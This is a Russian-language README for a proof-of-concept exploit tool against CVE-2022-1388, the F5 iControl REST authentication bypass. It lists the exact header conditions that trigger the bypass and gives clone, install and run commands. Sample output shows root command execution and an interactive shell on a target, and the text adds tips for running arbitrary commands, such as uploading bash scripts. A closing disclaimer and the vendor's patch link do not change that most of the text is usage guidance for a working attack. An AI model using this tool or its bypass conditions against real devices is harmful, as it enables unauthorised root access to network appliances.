
Улучшенный POC для CVE-2022-1388, затрагивающей множество продуктов F5.
Улучшенный POC для CVE-2022-1388, затрагивающий несколько продуктов F5.
Это улучшенная версия Proof of Concept от Horizon3 для CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Также это полная переработка с рефакторингом работы PsychoSec от https://github.com/PsychoSec2/CVE-2022-1388-POC
LOL, этот парень упомянул в разделе Requirements такой пункт, как brains, и имеет +40% дублированного и абсолютно немасштабируемого кода.
Блок сессии также был удалён, так как я не вижу в нём особого смысла.
Эта версия содержит множество улучшений, а также интерактивную оболочку для выполнения удалённых команд.
Технический анализ первопричины уязвимости от Horizon3 можно найти в их блоге: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Необходимые условия запроса для эксплуатации этой уязвимости:
Connection header must include X-F5-Auth-Token
X-F5-Auth-Token header must be present
Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
Auth header must be set with the admin username and any password
git
pip3
python3
git clone https://github.com/iveresk/cve-2022-1388-iveresk-command-shell.git
cd cve-2022-1388-iveresk-command-shell
pip3 install -r requirements.txt
python3 cve-2022-1388-1veresk.py -h
Тестирование цели:
python3 cve-2022-1388-1veresk.py.py -u -t https://192.168.0.221
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Используйте опцию -s для запуска интерактивной оболочки. Интерактивная оболочка:
python3 cve-2022-1388-1veresk.py -u -s https://192.168.0.221
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Dose not require the use of any reverse tcp connection or listeners.
Use 'exit' command to exit the shell...
Обратите внимание, что при запуске интерактивной оболочки в системе без установленных обновлений некоторые команды и синтаксисы могут не работать или не давать ожидаемого результата. Это, вероятно, связано с использованием JSON в запросах и ответах серверного API. Чтобы избежать проблем, старайтесь не использовать символы, характерные для синтаксиса JSON, такие как двойные кавычки, двоеточия, запятые, фигурные скобки и квадратные скобки, при работе с интерактивной оболочкой. Любой JSON-синтаксис должен быть в структурированном формате.
Использование любого рода неструктурированного JSON-синтаксиса в команде может привести к неверно сформированному API-запросу к серверу и может оставить вас без: вывода команды, выполнения чего-либо, или это может полностью выбросить вас из python-скрипта. К сожалению, это действительно делает некоторые команды непригодными для использования. Чтобы обойти эту проблему, вы можете вместо этого написать bash-скрипт, загрузить его на сервер и выполнить с помощью интерактивной оболочки. Также невозможно сменить каталоги с помощью команды 'cd'.
В любом случае вы всё равно сможете получить базовый вывод команд. Если вы не получаете вывод команды, это не означает, что команда не была выполнена. Однако вам придётся выяснить это самостоятельно, используя собственный анализ.
Обновитесь до последней версии или примите меры, следуя инструкциям в рекомендациях по безопасности F5
https://support.f5.com/csp/article/K23605346
Это программное обеспечение создано исключительно в целях академических исследований и разработки эффективных защитных методов и не предназначено для использования при атаках на системы, за исключением случаев явного разрешения. Сопровождающие проекта не несут ответственности за неправильное использование программного обеспечения. Используйте ответственно.
Вы можете свободно связаться со мной через Keybase для получения любых деталей.